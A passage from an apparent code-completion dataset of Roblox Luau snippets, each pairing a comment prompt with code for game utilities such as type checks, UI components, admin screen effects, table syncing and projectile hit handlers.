true\n\t\tend\n\tend\nend\n\ndo\n\tlocal checkInterface = t.map(t.any, t.callback)\n\n\tfunction t.interface(checkTable)\n\t\tassert(checkInterface(checkTable))\n\t\treturn function(value)\n\t\t\tlocal tableSuccess = t.table(value)\n\t\t\tif tableSuccess == false then\n\t\t\t\treturn false\n\t\t\tend\n\n\t\t\tfor key, check in pairs(checkTable) do\n\t\t\t\tlocal success = check(value[key])\n\t\t\t\tif success == false then\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn true\n\t\tend\n\tend\n\n\tfunction t.strictInterface(checkTable)\n\t\tassert(checkInterface(checkTable))\n\t\treturn function(value)\n\t\t\tlocal tableSuccess = t.table(value)\n\t\t\tif tableSuccess == false then\n\t\t\t\treturn false\n\t\t\tend\n\n\t\t\tfor key, check in pairs(checkTable) do\n\t\t\t\tlocal success = check(value[key])\n\t\t\t\tif success == false then\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tfor key in pairs(value) do\n\t\t\t\tif not checkTable[key] then\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn true\n\t\tend\n\tend\nend\n\nfunction t.instanceOf(className)\n\tassert(t.string(className))\n\treturn function(value)\n\t\tlocal instanceSuccess = t.Instance(value)\n\t\tif not instanceSuccess then\n\t\t\treturn false\n\t\tend\n\n\t\tif value.ClassName ~= className then\n\t\t\treturn false\n\t\tend\n\n\t\treturn true\n\tend\nend\nt.instance = t.instanceOf\n\nfunction t.instanceIsA(className)\n\tassert(t.string(className))\n\treturn function(value)\n\t\tlocal instanceSuccess = t.Instance(value)\n\t\tif not instanceSuccess then\n\t\t\treturn false\n\t\tend\n\n\t\tif not value:IsA(className) then\n\t\t\treturn false\n\t\tend\n\n\t\treturn true\n\tend\nend\n\nfunction t.enum(enum)\n\tassert(t.Enum(enum))\n\treturn function(value)\n\t\tlocal enumItemSuccess = t.EnumItem(value)\n\t\tif not enumItemSuccess then\n\t\t\treturn false\n\t\tend\n\n\t\tif value.EnumType == enum then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend\nend\n\ndo\n\tlocal checkWrap = t.tuple(t.callback, t.callback)\n\n\tfunction t.wrap(callback, checkArgs)\n\t\tassert(checkWrap(callback, checkArgs))\n\t\treturn function(...)\n\t\t\tassert(checkArgs(...))\n\t\t\treturn callback(...)\n\t\tend\n\tend\nend\n\nfunction t.strict(check)\n\treturn function(...)\n\t\tassert(check(...))\n\tend\nend\n\ndo\n\tlocal checkChildren = t.map(t.string, t.callback)\n\tfunction t.children(checkTable)\n\t\tassert(checkChildren(checkTable))\n\n\t\treturn function(value)\n\t\t\tlocal instanceSuccess = t.Instance(value)\n\t\t\tif not instanceSuccess then\n\t\t\t\treturn false\n\t\t\tend\n\n\t\t\tlocal childrenByName = {}\n\t\t\tfor _, child in pairs(value:GetChildren()) do\n\t\t\t\tlocal name = child.Name\n\t\t\t\tif checkTable[name] then\n\t\t\t\t\tif childrenByName[name] then\n\t\t\t\t\t\treturn false\n\t\t\t\t\tend\n\t\t\t\t\tchildrenByName[name] = child\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tfor name, check in pairs(checkTable) do\n\t\t\t\tlocal success = check(childrenByName[name])\n\t\t\t\tif not success then\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn true\n\t\tend\n\tend\nend\n\nreturn t\n"} +{"prompt": "--// Modules", "completion": "\nlocal L_120_ = require(L_22_:WaitForChild(\"Utilities\"))\nlocal L_121_ = require(L_22_:WaitForChild(\"Spring\"))\nlocal L_122_ = require(L_22_:WaitForChild(\"Plugins\"))\nlocal L_123_ = require(L_22_:WaitForChild(\"easing\"))\n\nlocal L_124_ = L_120_.Fade\nlocal L_125_ = L_120_.SpawnCam\nlocal L_126_ = L_120_.FixCam\nlocal L_127_ = L_120_.tweenFoV\nlocal L_128_ = L_120_.tweenCam\nlocal L_129_ = L_120_.tweenRoll\nlocal L_130_ = L_120_.TweenJoint\n\nlocal L_131_ = L_120_.Weld\n"} +{"prompt": "--// All global vars will be wiped/replaced except script\n--// All guis are autonamed using client.Functions.GetRandom()", "completion": "\n\nreturn function(data)\n\tlocal gui = service.New(\"ScreenGui\")\n\tlocal mode = data.Mode\n\tlocal gTable = client.UI.Register(gui, {Name = \"Effect\"})\n\tlocal BindEvent = gTable.BindEvent\n\n\tclient.UI.Remove(\"Effect\", gui)\n\tgTable:Ready()\n\n\tif mode == \"Off\" or not mode then\n\t\tgTable:Destroy()\n\telseif mode == \"Pixelize\" then\n\t\tlocal frame = Instance.new(\"Frame\",gui)\n\t\tlocal camera = workspace.CurrentCamera\n\t\tlocal pixels = {}\n\n\t\tlocal resY = data.Resolution or 20\n\t\tlocal resX = data.Resolution or 20\n\t\tlocal depth = 0\n\t\tlocal distance = data.Distance or 80\n\n\t\tlocal function renderScreen()\n\t\t\tfor i,pixel in pairs(pixels) do\n\t\t\t\tlocal ray = camera:ScreenPointToRay(pixel.X,pixel.Y,depth)\n\t\t\t\tlocal part, endPoint = workspace:FindPartOnRay(Ray.new(ray.Origin,ray.Direction*distance))\n\t\t\t\tif part and part.Transparency < 1 then\n\t\t\t\t\tpixel.Pixel.BackgroundColor3 = part.BrickColor.Color\n\t\t\t\telse\n\t\t\t\t\tpixel.Pixel.BackgroundColor3 = Color3.fromRGB(105, 170, 255)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tframe.Size = UDim2.new(1,0,1,40)\n\t\tframe.Position = UDim2.new(0,0,0,-35)\n\t\tfor y = 0,gui.AbsoluteSize.Y+50,resY do\n\t\t\tfor x = 0,gui.AbsoluteSize.X+30,resX do\n\t\t\t\tlocal pixel = Instance.new(\"TextLabel\")\n\t\t\t\tpixel.Text = \"\"\n\t\t\t\tpixel.BorderSizePixel = 0\n\t\t\t\tpixel.Size = UDim2.new(0,resX,0,resY)\n\t\t\t\tpixel.Position = UDim2.new(0,x-(resX/2),0,y-(resY/2))\n\t\t\t\tpixel.BackgroundColor3 = Color3.fromRGB(105, 170, 255)\n\t\t\t\tpixel.Parent = frame\n\t\t\t\ttable.insert(pixels,{Pixel = pixel,X = x, Y = y})\n\t\t\tend\n\t\tend\n\n\t\twhile wait() and not gTable.Destroyed and gui.Parent do \n\t\t\tif not gTable.Destroyed and not gTable.Active then\n\t\t\t\twait(5)\n\t\t\telse\n\t\t\t\trenderScreen()\n\t\t\tend\n\t\tend\n\n\t\tgTable:Destroy()\n\telseif mode == \"FadeOut\" then\n\t\tservice.StarterGui:SetCore(\"TopbarEnabled\",false)\n\t\tservice.UserInputService.MouseIconEnabled = false\n\t\tfor i,v in pairs(service.PlayerGui:GetChildren()) do \n\t\t\tpcall(function() if v~=gui then v:Destroy() end end) \n\t\tend\n\t\tlocal bg = Instance.new(\"Frame\", gui)\n\t\tbg.BackgroundTransparency = 1\n\t\tbg.BackgroundColor3 = Color3.new(0,0,0)\n\t\tbg.Size = UDim2.new(2,0,2,0)\n\t\tbg.Position = UDim2.new(-0.5,0,-0.5,0)\n\t\tfor i = 1,0,-0.01 do\n\t\t\tbg.BackgroundTransparency = i\n\t\t\twait(0.1)\n\t\tend\n\t\tbg.BackgroundTransparency = 0\n\t\tclient.Functions.BrickBlur(true,0,BrickColor.new(\"Really black\"))\n\telseif mode == \"Trippy\" then\n\t\tlocal v = service.Player\n\t\tlocal bg = Instance.new(\"Frame\", gui) \n\n\t\tbg.BackgroundColor3 = Color3.new(0,0,0) \n\t\tbg.BackgroundTransparency = 0 \n\t\tbg.Size = UDim2.new(10,0,10,0) \n\t\tbg.Position = UDim2.new(-5,0,-5,0) \n\t\tbg.ZIndex = 10\n\n\t\twhile gui and gui.Parent do \n\t\t\twait(1/44) \n\t\t\tbg.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) \n\t\tend\n\n\t\tif gui then gui:Destroy() end\n\telseif mode == \"Spooky\" then\n\t\tlocal frame = Instance.new(\"Frame\",gui)\n\t\tframe.BackgroundColor3=Color3.new(0,0,0)\n\t\tframe.Size=UDim2.new(1,0,1,50)\n\t\tframe.Position=UDim2.new(0,0,0,-50)\n\t\tlocal img = Instance.new(\"ImageLabel\",frame)\n\t\timg.Position = UDim2.new(0,0,0,0)\n\t\timg.Size = UDim2.new(1,0,1,0)\n\t\timg.BorderSizePixel = 0\n\t\timg.BackgroundColor3 = Color3.new(0,0,0)\n\t\tlocal textures = {\n\t\t\t299735022;\n\t\t\t299735054;\n\t\t\t299735082;\n\t\t\t299735103;\n\t\t\t299735133;\n\t\t\t299735156;\n\t\t\t299735177;\n\t\t\t299735198;\n\t\t\t299735219;\n\t\t\t299735245;\n\t\t\t299735269;\n\t\t\t299735289;\n\t\t\t299735304;\n\t\t\t299735320;\n\t\t\t299735332;\n\t\t\t299735361;\n\t\t\t299735379;\n\t\t}\n\n\t\tlocal sound = Instance.new(\"Sound\",gui)\n\t\tsound.SoundId = \"rbxassetid://174270407\"\n\t\tsound.Looped = true\n\t\tsound:Play()\n\n\t\twhile gui and gui.Parent do\n\t\t\tfor i=1,#textures do\n\t\t\t\timg.Image = \"rbxassetid://\"..textures[i]\n\t\t\t\twait(0.1)\n\t\t\tend\n\t\tend\n\t\tsound:Stop()\n\telseif mode == \"lifeoftheparty\" then\n\t\tlocal frame = Instance.new(\"Frame\",gui)\n\t\tframe.BackgroundColor3 = Color3.new(0,0,0)\n\t\tframe.Size = UDim2.new(1,0,1,50)\n\t\tframe.Position = UDim2.new(0,0,0,-50)\n\t\tlocal img = Instance.new(\"ImageLabel\",frame)\n\t\timg.Position = UDim2.new(0,0,0,0)\n\t\timg.Size = UDim2.new(1,0,1,0)\n\t\timg.BorderSizePixel = 0\n\t\timg.BackgroundColor3 = Color3.new(0,0,0)\n\t\tlocal textures = {\n\t\t\t299733203;\n\t\t\t299733248;\n\t\t\t299733284;\n\t\t\t299733309;\n\t\t\t299733355;\n\t\t\t299733386;\n\t\t\t299733404;\n\t\t\t299733425;\n\t\t\t299733472;\n\t\t\t299733489;\n\t\t\t299733501;\n\t\t\t299733523;\n\t\t\t299733544;\n\t\t\t299733551;\n\t\t\t299733564;\n\t\t\t299733570;\n\t\t\t299733581;\n\t\t\t299733597;\n\t\t\t299733609;\n\t\t\t299733621;\n\t\t\t299733632;\n\t\t\t299733640;\n\t\t\t299733648;\n\t\t\t299733663;\n\t\t\t299733674;\n\t\t\t299733694;\n\n\t\t}\n\t\tlocal sound = Instance.new(\"Sound\",gui)\n\t\tsound.SoundId = \"rbxassetid://172906410\"\n\t\tsound.Looped = true\n\t\tsound:Play()\n\n\t\twhile gui and gui.Parent do\n\t\t\tfor i=1,#textures do\n\t\t\t\timg.Image = \"rbxassetid://\"..textures[i]\n\t\t\t\twait(0.1)\n\t\t\tend\n\t\tend\n\n\t\tsound:Stop()\n\telseif mode == \"Strobe\" then\n\t\tlocal bg = Instance.new(\"Frame\", gui) \n\t\tbg.BackgroundColor3 = Color3.new(0,0,0) \n\t\tbg.BackgroundTransparency = 0 \n\t\tbg.Size = UDim2.new(10,0,10,0) \n\t\tbg.Position = UDim2.new(-5,0,-5,0)\n\t\tbg.ZIndex = 10\n\n\t\twhile gui and gui.Parent do\n\t\t\twait(1/44) \n\t\t\tbg.BackgroundColor3 = Color3.new(1,1,1) \n\t\t\twait(1/44) \n\t\t\tbg.BackgroundColor3 = Color3.new(0,0,0) \n\t\tend\n\t\tif gui then gui:Destroy() end\n\telseif mode == \"Blind\" then\n\t\tlocal bg = Instance.new(\"Frame\", gui) \n\t\tbg.BackgroundColor3 = Color3.new(0,0,0) \n\t\tbg.BackgroundTransparency = 0 \n\t\tbg.Size = UDim2.new(10,0,10,0) \n\t\tbg.Position = UDim2.new(-5,0,-5,0) \n\t\tbg.ZIndex = 10\n\telseif mode == \"ScreenImage\" then\n\t\tlocal bg = Instance.new(\"ImageLabel\", gui) \n\t\tbg.Image=\"rbxassetid://\"..data.Image\n\t\tbg.BackgroundColor3 = Color3.new(0,0,0) \n\t\tbg.BackgroundTransparency = 0 \n\t\tbg.Size = UDim2.new(1,0,1,0) \n\t\tbg.Position = UDim2.new(0,0,0,0) \n\t\tbg.ZIndex = 10\n\telseif mode == \"ScreenVideo\" then\n\t\tlocal bg = Instance.new(\"VideoFrame\", gui) \n\t\tbg.Video=\"rbxassetid://\"..data.Video\n\t\tbg.BackgroundColor3 = Color3.new(0,0,0) \n\t\tbg.BackgroundTransparency = 0 \n\t\tbg.Size = UDim2.new(1,0,1,0) \n\t\tbg.Position = UDim2.new(0,0,0,0) \n\t\tbg.ZIndex = 10\n\t\tbg:Play()\n\tend\nend\n"} +{"prompt": "--[[\n\tHigher order component that lets the wrapped component consume the InputContext.\n]]", "completion": "\nlocal function withInputContext(component)\n\treturn function(props)\n\t\tif props.inputContext then\n\t\t\twarn(\"Child component has a prop named `inputContext` and will be overriden by InputContext.\")\n\t\tend\n\n\t\treturn Roact.createElement(Context.Consumer, {\n\t\t\trender = function(inputContext)\n\t\t\t\tlocal mergedProps = Cryo.Dictionary.join({ inputContext = inputContext }, props)\n\n\t\t\t\treturn Roact.createElement(component, mergedProps)\n\t\t\tend,\n\t\t})\n\tend\nend\n\nlocal InputContext = {\n\tConsumer = Context.Consumer,\n\tProvider = withConfiguration(InputContextProvider),\n\twithInputContext = withInputContext,\n}\n\nreturn InputContext\n"} +{"prompt": "--In a Local Script", "completion": "\nlocal hdMain = require(game:GetService(\"ReplicatedStorage\"):WaitForChild(\"HDAdminSetup\")):GetMain()\nlocal hd = hdMain:GetModule(\"API\")\nhd:SetTopbarTransparency(1)\n"} +{"prompt": "--[[**\n\tensures Roblox ColorSequence type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.ColorSequence = primitive(\"ColorSequence\")\n"} +{"prompt": "--[[\n\tResponsible for displaying a single piece of artwork on the canvas.\n]]", "completion": "\nlocal SurfaceSpot = Roact.Component:extend(\"SurfaceSpot\")\n\nSurfaceSpot.defaultProps = {\n\tpadding = UDim.new(0, 16),\n}\n\nfunction SurfaceSpot:init()\n\tself.scale, self.updateScale = Roact.createBinding(1)\n\tself.scaleMotor = Otter.createSingleMotor(self.scale:getValue())\n\tself.scaleMotor:onStep(self.updateScale)\n\n\tself.transparency, self.updateTransparency = Roact.createBinding(0)\n\tself.transparencyMotor = Otter.createSingleMotor(self.transparency:getValue())\n\tself.transparencyMotor:onStep(self.updateTransparency)\nend\n\nfunction SurfaceSpot:render()\n\tlocal image = self.props.image or self.image\n\n\treturn Roact.createElement(\"Frame\", {\n\t\tBackgroundTransparency = 1,\n\t\tSize = UDim2.fromScale(1, 1),\n\t\t[Roact.Ref] = self.props.innerRef,\n\t}, {\n\t\t-- Add extra padding if needed\n\t\tPadding = Roact.createElement(\"UIPadding\", {\n\t\t\tPaddingTop = self.props.padding,\n\t\t\tPaddingBottom = self.props.padding,\n\t\t\tPaddingLeft = self.props.padding,\n\t\t\tPaddingRight = self.props.padding,\n\t\t}),\n\t\tArt = image and Roact.createElement(\"ImageLabel\", {\n\t\t\tBackgroundTransparency = 1,\n\t\t\tImageTransparency = self.transparency,\n\t\t\tSize = UDim2.fromScale(1, 1),\n\t\t\tAnchorPoint = Vector2.new(0.5, 0.5),\n\t\t\tPosition = UDim2.fromScale(0.5, 0.5),\n\t\t\tImage = image,\n\t\t\tScaleType = Enum.ScaleType.Fit,\n\t\t}, {\n\t\t\tUIScale = Roact.createElement(\"UIScale\", {\n\t\t\t\tScale = self.scale,\n\t\t\t}),\n\t\t\tUIAspectRatio = Roact.createElement(\"UIAspectRatioConstraint\", {\n\t\t\t\tDominantAxis = Enum.DominantAxis.Height,\n\t\t\t\tAspectType = Enum.AspectType.FitWithinMaxSize,\n\t\t\t}),\n\t\t}),\n\t})\nend\n\nfunction SurfaceSpot:willUpdate(nextProps)\n\tif nextProps.image == self.props.image then\n\t\treturn\n\tend\n\n\t-- Stores the image temporarily before render is called so that ImageLabel does not unmount after image props\n\t-- change, and before animation completes.\n\tif not nextProps.image then\n\t\tself.image = self.props.image\n\telse\n\t\tself.image = nil\n\tend\nend\n\nfunction SurfaceSpot:didUpdate(prevProps)\n\tif prevProps.image ~= self.props.image then\n\t\ttask.spawn(function()\n\t\t\tif self.props.image then\n\t\t\t\t-- Scale image when it appears\n\t\t\t\tself.transparencyMotor:setGoal(Otter.instant(0))\n\t\t\t\tself.scaleMotor:setGoal(Otter.spring(1.2))\n\t\t\t\ttask.wait(1)\n\t\t\t\tself.scaleMotor:setGoal(Otter.spring(1))\n\t\t\t\ttask.wait(1)\n\t\t\telse\n\t\t\t\t-- Fade image out when it disappears\n\t\t\t\tself.transparencyMotor:setGoal(Otter.spring(1))\n\t\t\t\ttask.wait(1)\n\t\t\t\tself.image = nil\n\t\t\tend\n\t\tend)\n\tend\nend\n\nreturn Roact.forwardRef(function(props, ref)\n\treturn Roact.createElement(SurfaceSpot, Cryo.Dictionary.join(props, { innerRef = ref }))\nend)\n"} +{"prompt": "--[=[\n\t@within TableUtil\n\t@function Sync\n\t@param srcTbl table -- Source table\n\t@param templateTbl table -- Template table\n\t@return table\n\n\tSynchronizes the `srcTbl` based on the `templateTbl`. This will make\n\tsure that `srcTbl` has all of the same keys as `templateTbl`, including\n\tremoving keys in `srcTbl` that are not present in `templateTbl`. This\n\tis a _deep_ operation, so any nested tables will be synchronized as\n\twell.\n\n\t```lua\n\tlocal template = {kills = 0, deaths = 0, xp = 0}\n\tlocal data = {kills = 10, experience = 12}\n\tdata = TableUtil.Sync(data, template)\n\tprint(data) --> {kills = 10, deaths = 0, xp = 0}\n\t```\n\n\t:::caution Data Loss Warning\n\tThis is a two-way sync, so the source table will have data\n\t_removed_ that isn't found in the template table. This can\n\tbe problematic if used for player data, where there might\n\tbe dynamic data added that isn't in the template.\n\n\tFor player data, use `TableUtil.Reconcile` instead.\n]=]", "completion": "\nlocal function Sync(srcTbl: S, templateTbl: T): T\n\tassert(type(srcTbl) == \"table\", \"First argument must be a table\")\n\tassert(type(templateTbl) == \"table\", \"Second argument must be a table\")\n\n\tlocal tbl = table.clone(srcTbl)\n\n\t-- If 'tbl' has something 'templateTbl' doesn't, then remove it from 'tbl'\n\t-- If 'tbl' has something of a different type than 'templateTbl', copy from 'templateTbl'\n\t-- If 'templateTbl' has something 'tbl' doesn't, then add it to 'tbl'\n\tfor k, v in pairs(tbl) do\n\t\tlocal vTemplate = templateTbl[k]\n\n\t\t-- Remove keys not within template:\n\t\tif vTemplate == nil then\n\t\t\ttbl[k] = nil\n\n\t\t\t-- Synchronize data types:\n\t\telseif type(v) ~= type(vTemplate) then\n\t\t\tif type(vTemplate) == \"table\" then\n\t\t\t\ttbl[k] = Copy(vTemplate, true)\n\t\t\telse\n\t\t\t\ttbl[k] = vTemplate\n\t\t\tend\n\n\t\t\t-- Synchronize sub-tables:\n\t\telseif type(v) == \"table\" then\n\t\t\ttbl[k] = Sync(v, vTemplate)\n\t\tend\n\tend\n\n\t-- Add any missing keys:\n\tfor k, vTemplate in pairs(templateTbl) do\n\t\tlocal v = tbl[k]\n\n\t\tif v == nil then\n\t\t\tif type(vTemplate) == \"table\" then\n\t\t\t\ttbl[k] = Copy(vTemplate, true)\n\t\t\telse\n\t\t\t\ttbl[k] = vTemplate\n\t\t\tend\n\t\tend\n\tend\n\n\treturn (tbl :: any) :: T\nend\n"} +{"prompt": "-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote", "completion": "\nlocal emoteNames = { wave = false, point = false, dance1 = true, dance2 = true, dance3 = true, laugh = false, cheer = false}\n\nfunction configureAnimationSet(name, fileList)\nif (animTable[name] ~= nil) then\nfor _, connection in pairs(animTable[name].connections) do\nconnection:disconnect()\nend\nend\nanimTable[name] = {}\nanimTable[name].count = 0\nanimTable[name].totalWeight = 0\nanimTable[name].connections = {}\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nreturn {\n\tName = \"rand\", \n\tAliases = {}, \n\tDescription = \"Returns a random number between min and max\", \n\tGroup = \"DefaultUtil\", \n\tArgs = { {\n\t\t\tType = \"integer\", \n\t\t\tName = \"First number\", \n\t\t\tDescription = \"If second number is nil, random number is between 1 and this value. If second number is provided, number is between this number and the second number.\"\n\t\t}, {\n\t\t\tType = \"integer\", \n\t\t\tName = \"Second number\", \n\t\t\tDescription = \"The upper bound.\", \n\t\t\tOptional = true\n\t\t} }, \n\tRun = function(p1, p2, p3)\n\t\treturn tostring(p3 and math.random(p2, p3) or math.random(p2));\n\tend\n};\n"} +{"prompt": "--[=[\n\t@interface ServiceDef\n\t.Name string\n\t.Client table?\n\t.[any] any\n\t@within KnitServer\n\tUsed to define a service when creating it in `CreateService`.\n]=]", "completion": "\ntype ServiceDef = {\n\tName: string,\n\tClient: {[any]: any}?,\n\t[any]: any,\n}\n"} +{"prompt": "-- Update the effect on every single frame.", "completion": "\nRunService.RenderStepped:Connect(updateBobbleEffect)\n"} +{"prompt": "--// Firemode Settings", "completion": "\n\tCanSelectFire = true;\n\tBurstEnabled = false;\n\tSemiEnabled = true;\n\tAutoEnabled = true;\n\tBoltAction = false;\n\tExplosiveEnabled = true;\n\t"} +{"prompt": "-- ClassZombie = \n--\t{\n--\t\tCharacter = script.Parent;\n--\t\tHumanoid = script.Parent.Humanoid;\n--\t\tAnimations = script.Parent.Animations;\n--\t\tZombieColor = script.Parent[\"Body Colors\"];", "completion": "\n"} +{"prompt": "--[[\n\tCmdr\n]]", "completion": "\nif not _playerIsBot then\n\tcoroutine.wrap(function()\n\t\tlocal Cmdr = require(ReplicatedStorage:WaitForChild(\"CmdrClient\"))\n\n\t\tCmdr:SetActivationKeys({\n\t\t\tEnum.KeyCode.BackSlash,\n\t\t})\n\n\t\tCmdr:SetEnabled(true)\n\tend)()\nend"} +{"prompt": "-- Private Methods", "completion": "\n\t\nlocal function shortestDist(start, stop)\n\tlocal modDiff = (stop - start) % TAU\n\tlocal sDist = PI - math.abs(math.abs(modDiff) - PI)\n\tif ((modDiff + TAU) % TAU < PI) then\n\t\treturn sDist\n\telse\n\t\treturn -sDist\n\tend\nend\n\nfunction init(self)\n\tlocal subN = self.SubN\n\tlocal dial = self.Frame.RadialDial\n\t\n\tlocal inputType = Enum.UserInputType.MouseMovement\n\t\n\tself._Maid:Mark(self._ClickedBind)\n\tself._Maid:Mark(self._HoverBind)\n\t\n\tself._Maid:Mark(UIS.LastInputTypeChanged:Connect(function(iType)\n\t\tif (MOUSE_GROUP[iType] or GAMEPAD_GROUP[iType]) then\n\t\t\tinputType = iType\n\t\tend\n\tend))\n\t\n\tlocal lTheta = 0\n\t\n\tself._Maid:Mark(UIS.InputBegan:Connect(function(input)\n\t\tif (not self.Enabled) then\n\t\t\treturn\n\t\tend\n\t\t\n\t\t\n\t\tif (GAMEPAD_GROUP[input.UserInputType]) then\n\t\t\tif (not GAMEPAD_CLICK[input.KeyCode]) then\n\t\t\t\treturn\n\t\t\telse\n\t\t\t\tself._ClickedBind:Fire(self:PickIndex(lTheta))\n\t\t\tend\n\t\tend\n\t\t\n\t\tlocal theta = self:GetTheta(input.UserInputType)\n\t\tif (theta) then\n\t\t\tself._ClickedBind:Fire(self:PickIndex(theta))\n\t\tend\n\tend))\n\n\tself._Maid:Mark(RUNSERVICE.RenderStepped:Connect(function(dt)\n\t\tif (not self.Enabled) then\n\t\t\treturn\n\t\tend\n\t\t\n\t\tlocal theta = self:GetTheta(inputType)\n\t\tif (theta and self:IsVisible()) then\n\t\t\tlTheta = theta\n\t\t\t\n\t\t\tlocal frameRot = math.rad(self.Frame.Rotation)\n\t\t\tlocal toDeg = math.deg(theta - self.Rotation + frameRot + EX_OFFSET + 2*TAU) % 360\n\t\t\tlocal closest = toDeg / (360 / self.SubN) + 0.5\n\t\t\t\n\t\t\tdial.Rotation = math.deg(self:GetRotation(closest))\n\t\t\t\n\t\t\tlocal index = self:PickIndex(theta)\n\t\t\tif (index ~= self._LastHoverIndex) then\n\t\t\t\tself._HoverBind:Fire(self._LastHoverIndex, index)\n\t\t\t\tself._LastHoverIndex = index\n\t\t\tend\n\t\tend\n\tend))\nend\n"} +{"prompt": "-- functions", "completion": "\n\nreturn function(character, boost)\n\tlocal upperTorso\t= character.UpperTorso\n\t\n\tlocal glow\t\t= script[boost].GlowEmitter:Clone()\n\t\tglow.Parent\t\t= upperTorso\n\tlocal icon\t\t= script[boost].IconEmitter:Clone()\n\t\ticon.Parent\t\t= upperTorso\n\tlocal spark\t\t= script[boost].SparkEmitter:Clone()\n\t\tspark.Parent\t= upperTorso\n\t\t\n\tlocal sound\t\t= script[boost .. \"Sound\"]:Clone()\n\t\tsound.Parent\t= upperTorso\n\t\n\tglow:Emit(8)\n\ticon:Emit(10)\n\tspark:Emit(25)\n\tsound:Play()\n\t\t\n\tDebris:AddItem(glow, 4)\n\tDebris:AddItem(icon, 2)\n\tDebris:AddItem(spark, 2)\n\tDebris:AddItem(sound, sound.TimeLength)\nend\n"} +{"prompt": "-- Used to sanitize user-supplied functions", "completion": "\nlocal function AssertTypes(param, ...)\n\tlocal allowedTypes = {}\n\tlocal typeString = ''\n\tfor _, typeName in pairs({...}) do\n\t\tallowedTypes[typeName] = true\n\t\ttypeString = typeString .. (typeString == '' and '' or ' or ') .. typeName\n\tend\n\tlocal theType = type(param)\n\tassert(allowedTypes[theType], typeString .. \" type expected, got: \" .. theType)\nend\n"} +{"prompt": "-- If in-game, enable ctrl hotkeys for exporting", "completion": "\nif Mode == 'Tool' then\n\tAssignHotkey({ 'LeftControl', 'P' }, ExportSelection);\n\tAssignHotkey({ 'RightControl', 'P' }, ExportSelection);\nend;\n\nfunction IsVersionOutdated()\n\t-- Returns whether this version of Building Tools is out of date\n\n\t-- Check most recent version number\n\tlocal AssetInfo = MarketplaceService:GetProductInfo(142785488, Enum.InfoType.Asset);\n\tlocal LatestMajorVersion, LatestMinorVersion, LatestPatchVersion = AssetInfo.Description:match '%[Version: ([0-9]+)%.([0-9]+)%.([0-9]+)%]';\n\tlocal CurrentMajorVersion, CurrentMinorVersion, CurrentPatchVersion = Tool.Version.Value:match '([0-9]+)%.([0-9]+)%.([0-9]+)';\n\n\t-- Convert version data into numbers\n\tlocal LatestMajorVersion, LatestMinorVersion, LatestPatchVersion =\n\t\ttonumber(LatestMajorVersion), tonumber(LatestMinorVersion), tonumber(LatestPatchVersion);\n\tlocal CurrentMajorVersion, CurrentMinorVersion, CurrentPatchVersion =\n\t\ttonumber(CurrentMajorVersion), tonumber(CurrentMinorVersion), tonumber(CurrentPatchVersion);\n\n\t-- Determine whether current version is outdated\n\tif LatestMajorVersion > CurrentMajorVersion then\n\t\treturn true;\n\telseif LatestMajorVersion == CurrentMajorVersion then\n\t\tif LatestMinorVersion > CurrentMinorVersion then\n\t\t\treturn true;\n\t\telseif LatestMinorVersion == CurrentMinorVersion then\n\t\t\treturn LatestPatchVersion > CurrentPatchVersion;\n\t\tend;\n\tend;\n\n\t-- Return an up-to-date status if not oudated\n\treturn false;\n\nend;\n\nfunction ToggleSwitch(CurrentButtonName, SwitchContainer)\n\t-- Toggles between the buttons in a switch\n\n\t-- Reset all buttons\n\tfor _, Button in pairs(SwitchContainer:GetChildren()) do\n\n\t\t-- Make sure to not mistake the option label for a button\n\t\tif Button.Name ~= 'Label' then\n\n\t\t\t-- Set appearance to disabled\n\t\t\tButton.SelectedIndicator.BackgroundTransparency = 1;\n\t\t\tButton.Background.Image = Assets.LightSlantedRectangle;\n\n\t\tend;\n\n\tend;\n\n\t-- Make sure there's a new current button\n\tif CurrentButtonName then\n\n\t\t-- Get the current button\n\t\tlocal CurrentButton = SwitchContainer[CurrentButtonName];\n\n\t\t-- Set the current button's appearance to enabled\n\t\tCurrentButton.SelectedIndicator.BackgroundTransparency = 0;\n\t\tCurrentButton.Background.Image = Assets.DarkSlantedRectangle;\n\n\tend;\nend;\n"} +{"prompt": "---------------------------------------------------------------------------------------------------------------------\n---------------------------------------------------------------------------------------------------------------------\n-- Event Handlers", "completion": "\n\nfunction OnRayHit(cast, raycastResult, segmentVelocity, cosmeticBulletObject)\n\t-- This function will be connected to the Caster's \"RayHit\" event.\n\tlocal hitPart = raycastResult.Instance\n\tlocal hitPoint = raycastResult.Position\n\tlocal normal = raycastResult.Normal\n\tif hitPart ~= nil and hitPart.Parent ~= nil then -- Test if we hit something\n\t\tlocal humanoid = hitPart.Parent:FindFirstChildOfClass(\"Humanoid\") -- Is there a humanoid?\n\t\tif humanoid then\n\t\t\thumanoid:TakeDamage(DAMAGE_AMOUNT) -- Damage.\n\t\tend\n\t\tMakeParticleFX(hitPoint, normal) -- Particle FX\n\tend\nend\n\nfunction OnRayPierced(cast, raycastResult, segmentVelocity, cosmeticBulletObject)\n\t-- You can do some really unique stuff with pierce behavior - In reality, pierce is just the module's way of asking \"Do I keep the bullet going, or do I stop it here?\"\n\t-- You can make use of this unique behavior in a manner like this, for instance, which causes bullets to be bouncy.\n\tlocal position = raycastResult.Position\n\tlocal normal = raycastResult.Normal\n\t\n\tlocal newNormal = Reflect(normal, segmentVelocity.Unit)\n\tcast:SetVelocity(newNormal * segmentVelocity.Magnitude)\n\t\n\t-- It's super important that we set the cast's position to the ray hit position. Remember: When a pierce is successful, it increments the ray forward by one increment.\n\t-- If we don't do this, it'll actually start the bounce effect one segment *after* it continues through the object, which for thin walls, can cause the bullet to almost get stuck in the wall.\n\tcast:SetPosition(position)\n\t\n\t-- Generally speaking, if you plan to do any velocity modifications to the bullet at all, you should use the line above to reset the position to where it was when the pierce was registered.\nend\n\nfunction OnRayUpdated(cast, segmentOrigin, 